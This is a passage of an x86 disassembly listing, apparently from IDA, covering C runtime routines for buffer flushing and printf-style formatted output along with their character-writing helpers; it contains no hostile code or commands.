		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_425120
		test	al, 40h
		jnz	loc_425120
		test	al, 1
		jz	short loc_42504C
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_425120
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_42504C:				; CODE XREF: sub_425014+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_425086
		cmp	esi, offset dword_449450
		jz	short loc_425074
		cmp	esi, offset dword_449470
		jnz	short loc_42507F


loc_425074:				; CODE XREF: sub_425014+56j
		push	ebx
		call	sub_42B835
		test	eax, eax
		pop	ecx
		jnz	short loc_425086


loc_42507F:				; CODE XREF: sub_425014+5Ej
		push	esi
		call	sub_42B7F1
		pop	ecx


loc_425086:				; CODE XREF: sub_425014+4Ej
					; sub_425014+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_4250F6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_4250B6
		push	edi
		push	eax
		push	ebx
		call	sub_42AE6D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_4250EC
; ---------------------------------------------------------------------------


loc_4250B6:				; CODE XREF: sub_425014+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4250D4
		mov	ecx, ebx
		mov	eax, ebx
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_4250D9
; ---------------------------------------------------------------------------


loc_4250D4:				; CODE XREF: sub_425014+A5j
		mov	eax, offset dword_449A50


loc_4250D9:				; CODE XREF: sub_425014+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_4250EC
		push	2
		push	0
		push	ebx
		call	sub_426CFC
		add	esp, 0Ch


loc_4250EC:				; CODE XREF: sub_425014+A0j
					; sub_425014+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_42510A
; ---------------------------------------------------------------------------


loc_4250F6:				; CODE XREF: sub_425014+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42AE6D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_42510A:				; CODE XREF: sub_425014+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_425116
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_425125
; ---------------------------------------------------------------------------


loc_425116:				; CODE XREF: sub_425014+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_425128
; ---------------------------------------------------------------------------


loc_425120:				; CODE XREF: sub_425014+10j
					; sub_425014+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_425125:				; CODE XREF: sub_425014+100j
		or	eax, 0FFFFFFFFh


loc_425128:				; CODE XREF: sub_425014+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_425014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512C	proc near		; CODE XREF: sub_422063+29p
					; sub_42219B+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_425845
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_425160
; ---------------------------------------------------------------------------


loc_425158:				; CODE XREF: sub_42512C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_425160:				; CODE XREF: sub_42512C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_425845
		cmp	bl, 20h
		jl	short loc_425181
		cmp	bl, 78h
		jg	short loc_425181
		movsx	eax, bl
		mov	al, byte_42F444[eax]
		and	eax, 0Fh
		jmp	short loc_425183
; ---------------------------------------------------------------------------


loc_425181:				; CODE XREF: sub_42512C+40j
					; sub_42512C+45j
		xor	eax, eax


loc_425183:				; CODE XREF: sub_42512C+53j
		movsx	eax, byte_42F464[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_425834	; default
		jmp	off_42584D[eax*4] ; switch jump


loc_4251A1:				; DATA XREF: .text:off_42584Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0042519A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4251BC:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		movsx	eax, bl		; jumptable 0042519A case 2
		sub	eax, 20h
		jz	short loc_4251FF
		sub	eax, 3
		jz	short loc_4251F6
		sub	eax, 8
		jz	short loc_4251ED
		dec	eax
		dec	eax
		jz	short loc_4251E4
		sub	eax, 3
		jnz	loc_425834	; default
		or	[ebp+var_4], 8
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4251E4:				; CODE XREF: sub_42512C+A4j
		or	[ebp+var_4], 4
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4251ED:				; CODE XREF: sub_42512C+A0j
		or	[ebp+var_4], 1
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4251F6:				; CODE XREF: sub_42512C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4251FF:				; CODE XREF: sub_42512C+96j
		or	[ebp+var_4], 2
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_425208:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		cmp	bl, 2Ah		; jumptable 0042519A case 3
		jnz	short loc_425230
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42590B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_425834	; default
		or	[ebp+var_4], 4
		neg	eax


loc_425228:				; CODE XREF: sub_42512C+111j
		mov	[ebp+var_20], eax
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_425230:				; CODE XREF: sub_42512C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_425228
; ---------------------------------------------------------------------------


loc_42523F:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		mov	[ebp+var_10], edx ; jumptable 0042519A case 4


loc_425242:				; DATA XREF: .text:off_4337F4o
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_425247:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		cmp	bl, 2Ah		; jumptable 0042519A case 5
		jnz	short loc_42526A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42590B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_425834	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_42526A:				; CODE XREF: sub_42512C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_42527C:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		cmp	bl, 49h		; jumptable 0042519A case 6
		jz	short loc_4252AF
		cmp	bl, 68h
		jz	short loc_4252A6
		cmp	bl, 6Ch
		jz	short loc_42529D
		cmp	bl, 77h
		jnz	loc_425834	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_42512C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4252A6:				; CODE XREF: sub_42512C+158j
		or	[ebp+var_4], 20h
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4252AF:				; CODE XREF: sub_42512C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4252C8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4252C8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_4252C8:				; CODE XREF: sub_42512C+186j
					; sub_42512C+18Cj
		mov	[ebp+var_30], edx


loc_4252CB:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		mov	ecx, off_449838	; jumptable 0042519A case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4252F7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_42586D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_4252F7:				; CODE XREF: sub_42512C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_42586D
		add	esp, 0Ch
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_42530F:				; CODE XREF: sub_42512C+6Ej
					; DATA XREF: .text:off_42584Do
		movsx	eax, bl		; jumptable 0042519A case 7
		cmp	eax, 67h
		jg	loc_425537
		cmp	eax, 65h
		jge	loc_4253BA
		cmp	eax, 58h
		jg	loc_425418
		jz	loc_4255AB
		sub	eax, 43h
		jz	loc_4253DB
		dec	eax
		dec	eax
		jz	short loc_4253B0
		dec	eax
		dec	eax
		jz	short loc_4253B0
		sub	eax, 0Ch
		jnz	loc_425736
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_425359
		or	byte ptr [ebp+var_4+1],	8


loc_425359:				; CODE XREF: sub_42512C+227j
					; sub_42512C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_425366
		mov	esi, 7FFFFFFFh


loc_425366:				; CODE XREF: sub_42512C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42590B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_42557F
		test	ecx, ecx
		jnz	short loc_42538E
		mov	ecx, off_4496BC
		mov	[ebp+var_8], ecx


loc_42538E:				; CODE XREF: sub_42512C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_425397:				; CODE XREF: sub_42512C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_425576
		cmp	word ptr [eax],	0
		jz	loc_425576
		inc	eax
		inc	eax
		jmp	short loc_425397
; ---------------------------------------------------------------------------


loc_4253B0:				; CODE XREF: sub_42512C+212j
					; sub_42512C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4253BA:				; CODE XREF: sub_42512C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_42549E
		mov	[ebp+var_10], 6
		jmp	loc_4254AC
; ---------------------------------------------------------------------------


loc_4253DB:				; CODE XREF: sub_42512C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4253E7
		or	byte ptr [ebp+var_4+1],	8


loc_4253E7:				; CODE XREF: sub_42512C+2B5j
					; sub_42512C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42542E
		call	sub_425928
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_42B85E
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_425441
		mov	[ebp+var_28], 1
		jmp	short loc_425441
; ---------------------------------------------------------------------------


loc_425418:				; CODE XREF: sub_42512C+1FBj
		sub	eax, 5Ah
		jz	short loc_42544F
		sub	eax, 9
		jz	short loc_4253E7
		dec	eax
		jz	loc_425611
		jmp	loc_425736
; ---------------------------------------------------------------------------


loc_42542E:				; CODE XREF: sub_42512C+2C5j
		call	sub_42590B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_425441:				; CODE XREF: sub_42512C+2E1j
					; sub_42512C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_425736
; ---------------------------------------------------------------------------


loc_42544F:				; CODE XREF: sub_42512C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42590B
		test	eax, eax
		pop	ecx
		jz	short loc_425490
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_425490
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_425481
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_425736
; ---------------------------------------------------------------------------


loc_425481:				; CODE XREF: sub_42512C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_425733
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_42512C+32Fj
					; sub_42512C+336j
		mov	eax, off_4496B8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42552C
; ---------------------------------------------------------------------------


loc_42549E:				; CODE XREF: sub_42512C+29Dj
		jnz	short loc_4254AC
		cmp	bl, 67h
		jnz	short loc_4254AC
		mov	[ebp+var_10], 1


loc_4254AC:				; CODE XREF: sub_42512C+2AAj
					; sub_42512C:loc_42549Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_44BB60
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_4254FE
		cmp	[ebp+var_10], 0
		jnz	short loc_4254FE
		lea	eax, [ebp+var_248]
		push	eax
		call	off_44BB6C
		pop	ecx


loc_4254FE:				; CODE XREF: sub_42512C+3BCj
					; sub_42512C+3C2j
		cmp	bl, 67h
		jnz	short loc_425515
		test	esi, esi
		jnz	short loc_425515
		lea	eax, [ebp+var_248]
		push	eax
		call	off_44BB64
		pop	ecx


loc_425515:				; CODE XREF: sub_42512C+3D5j
					; sub_42512C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42552B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42552B:				; CODE XREF: sub_42512C+3F0j
		push	edi


loc_42552C:				; CODE XREF: sub_42512C+36Dj
		call	sub_422120
		pop	ecx
		jmp	loc_425733
; ---------------------------------------------------------------------------


loc_425537:				; CODE XREF: sub_42512C+1E9j
		sub	eax, 69h
		jz	loc_425611
		sub	eax, 5
		jz	loc_4255E7
		dec	eax
		jz	loc_4255D4
		dec	eax
		jz	short loc_4255A4
		sub	eax, 3
		jz	loc_425359
		dec	eax
		dec	eax
		jz	loc_425615
		sub	eax, 3
		jnz	loc_425736
		mov	[ebp+var_2C], 27h
		jmp	short loc_4255B2
; ---------------------------------------------------------------------------


loc_425576:				; CODE XREF: sub_42512C+270j
					; sub_42512C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_425733
; ---------------------------------------------------------------------------


loc_42557F:				; CODE XREF: sub_42512C+24Fj
		test	ecx, ecx
		jnz	short loc_42558C
		mov	ecx, off_4496B8
		mov	[ebp+var_8], ecx


loc_42558C:				; CODE XREF: sub_42512C+455j
		mov	eax, ecx


loc_42558E:				; CODE XREF: sub_42512C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_42559D
		cmp	byte ptr [eax],	0
		jz	short loc_42559D
		inc	eax
		jmp	short loc_42558E
; ---------------------------------------------------------------------------


loc_42559D:				; CODE XREF: sub_42512C+467j
					; sub_42512C+46Cj
		sub	eax, ecx
		jmp	loc_425733
; ---------------------------------------------------------------------------


loc_4255A4:				; CODE XREF: sub_42512C+425j
		mov	[ebp+var_10], 8


loc_4255AB:				; CODE XREF: sub_42512C+201j
		mov	[ebp+var_2C], 7


loc_4255B2:				; CODE XREF: sub_42512C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42561C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42561C
; ---------------------------------------------------------------------------


loc_4255D4:				; CODE XREF: sub_42512C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42561C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42561C
; ---------------------------------------------------------------------------


loc_4255E7:				; CODE XREF: sub_42512C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42590B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_425600
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_425605
; ---------------------------------------------------------------------------


loc_425600:				; CODE XREF: sub_42512C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_425605:				; CODE XREF: sub_42512C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_425834	; default
; ---------------------------------------------------------------------------


loc_425611:				; CODE XREF: sub_42512C+2F7j
					; sub_42512C+40Ej
		or	[ebp+var_4], 40h


loc_425615:				; CODE XREF: sub_42512C+432j
		mov	[ebp+var_C], 0Ah


loc_42561C:				; CODE XREF: sub_42512C+491j
					; sub_42512C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_42562E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_425918
		pop	ecx
		jmp	short loc_42566F
; ---------------------------------------------------------------------------


loc_42562E:				; CODE XREF: sub_42512C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_425655
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42564A
		call	sub_42590B
		pop	ecx
		movsx	eax, ax


loc_425647:				; CODE XREF: sub_42512C+527j
					; sub_42512C+539j
		cdq
		jmp	short loc_42566F
; ---------------------------------------------------------------------------


loc_42564A:				; CODE XREF: sub_42512C+510j
		call	sub_42590B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_425647
; ---------------------------------------------------------------------------


loc_425655:				; CODE XREF: sub_42512C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_425667
		call	sub_42590B
		pop	ecx
		jmp	short loc_425647
; ---------------------------------------------------------------------------


loc_425667:				; CODE XREF: sub_42512C+531j
		call	sub_42590B
		pop	ecx
		xor	edx, edx


loc_42566F:				; CODE XREF: sub_42512C+500j
					; sub_42512C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_425690
		test	edx, edx
		jg	short loc_425690
		jl	short loc_42567F
		test	eax, eax
		jnb	short loc_425690


loc_42567F:				; CODE XREF: sub_42512C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_425694
; ---------------------------------------------------------------------------


loc_425690:				; CODE XREF: sub_42512C+547j
					; sub_42512C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_425694:				; CODE XREF: sub_42512C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_42569D
		and	edi, 0


loc_42569D:				; CODE XREF: sub_42512C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4256AC
		mov	[ebp+var_10], 1
		jmp	short loc_4256B0
; ---------------------------------------------------------------------------


loc_4256AC:				; CODE XREF: sub_42512C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4256B0:				; CODE XREF: sub_42512C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4256BA
		and	[ebp+var_1C], 0


loc_4256BA:				; CODE XREF: sub_42512C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4256C0:				; CODE XREF: sub_42512C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4256D0
		mov	eax, esi
		or	eax, edi
		jz	short loc_42570B


loc_4256D0:				; CODE XREF: sub_42512C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_424A20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_424AA0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_425701
		add	ebx, [ebp+var_2C]


loc_425701:				; CODE XREF: sub_42512C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4256C0
; ---------------------------------------------------------------------------


loc_42570B:				; CODE XREF: sub_42512C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_425736
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_425729
		test	eax, eax
		jnz	short loc_425736


loc_425729:				; CODE XREF: sub_42512C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_425733:				; CODE XREF: sub_42512C+35Fj
					; sub_42512C+406j ...
		mov	[ebp+var_C], eax


loc_425736:				; CODE XREF: sub_42512C+21Bj
					; sub_42512C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_425834	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_42576E
		test	bh, 1
		jz	short loc_425753
		mov	[ebp+var_16], 2Dh
		jmp	short loc_425767
; ---------------------------------------------------------------------------


loc_425753:				; CODE XREF: sub_42512C+61Fj
		test	bl, 1
		jz	short loc_42575E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_425767
; ---------------------------------------------------------------------------


loc_42575E:				; CODE XREF: sub_42512C+62Aj
		test	bl, 2
		jz	short loc_42576E
		mov	[ebp+var_16], 20h


loc_425767:				; CODE XREF: sub_42512C+625j
					; sub_42512C+630j
		mov	[ebp+var_1C], 1


loc_42576E:				; CODE XREF: sub_42512C+61Aj
					; sub_42512C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_42578E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4258A2
		add	esp, 10h


loc_42578E:				; CODE XREF: sub_42512C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4258D3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4257C0
		test	bl, 4
		jnz	short loc_4257C0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4258A2
		add	esp, 10h


loc_4257C0:				; CODE XREF: sub_42512C+67Bj
					; sub_42512C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_425807
		cmp	[ebp+var_C], 0
		jle	short loc_425807
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4257D5:				; CODE XREF: sub_42512C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_42B85E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42581C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4258D3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4257D5
		jmp	short loc_42581C
; ---------------------------------------------------------------------------


loc_425807:				; CODE XREF: sub_42512C+698j
					; sub_42512C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4258D3
		add	esp, 10h


loc_42581C:				; CODE XREF: sub_42512C+6BCj
					; sub_42512C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_425834 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4258A2
		add	esp, 10h


loc_425834:				; CODE XREF: sub_42512C+68j
					; sub_42512C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_425158


loc_425845:				; CODE XREF: sub_42512C+1Fj
					; sub_42512C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42512C	endp

; ---------------------------------------------------------------------------
off_42584D	dd offset loc_4252CB	; DATA XREF: sub_42512C+6Er
		dd offset loc_4251A1	; jump table for switch	statement
		dd offset loc_4251BC
		dd offset loc_425208
		dd offset loc_42523F
		dd offset loc_425247
		dd offset loc_42527C
		dd offset loc_42530F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42586D	proc near		; CODE XREF: sub_42512C+1BDp
					; sub_42512C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_425886
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_425891
; ---------------------------------------------------------------------------


loc_425886:				; CODE XREF: sub_42586D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_425014
		pop	ecx
		pop	ecx


loc_425891:				; CODE XREF: sub_42586D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_42589E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42589E:				; CODE XREF: sub_42586D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42586D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258A2	proc near		; CODE XREF: sub_42512C+65Ap
					; sub_42512C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4258D0
		mov	esi, [esp+8+arg_C]


loc_4258B3:				; CODE XREF: sub_4258A2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_42586D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4258D0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4258B3


loc_4258D0:				; CODE XREF: sub_4258A2+Bj
					; sub_4258A2+25j
		pop	edi
		pop	esi
		retn
sub_4258A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258D3	proc near		; CODE XREF: sub_42512C+670p
					; sub_42512C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_425907
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


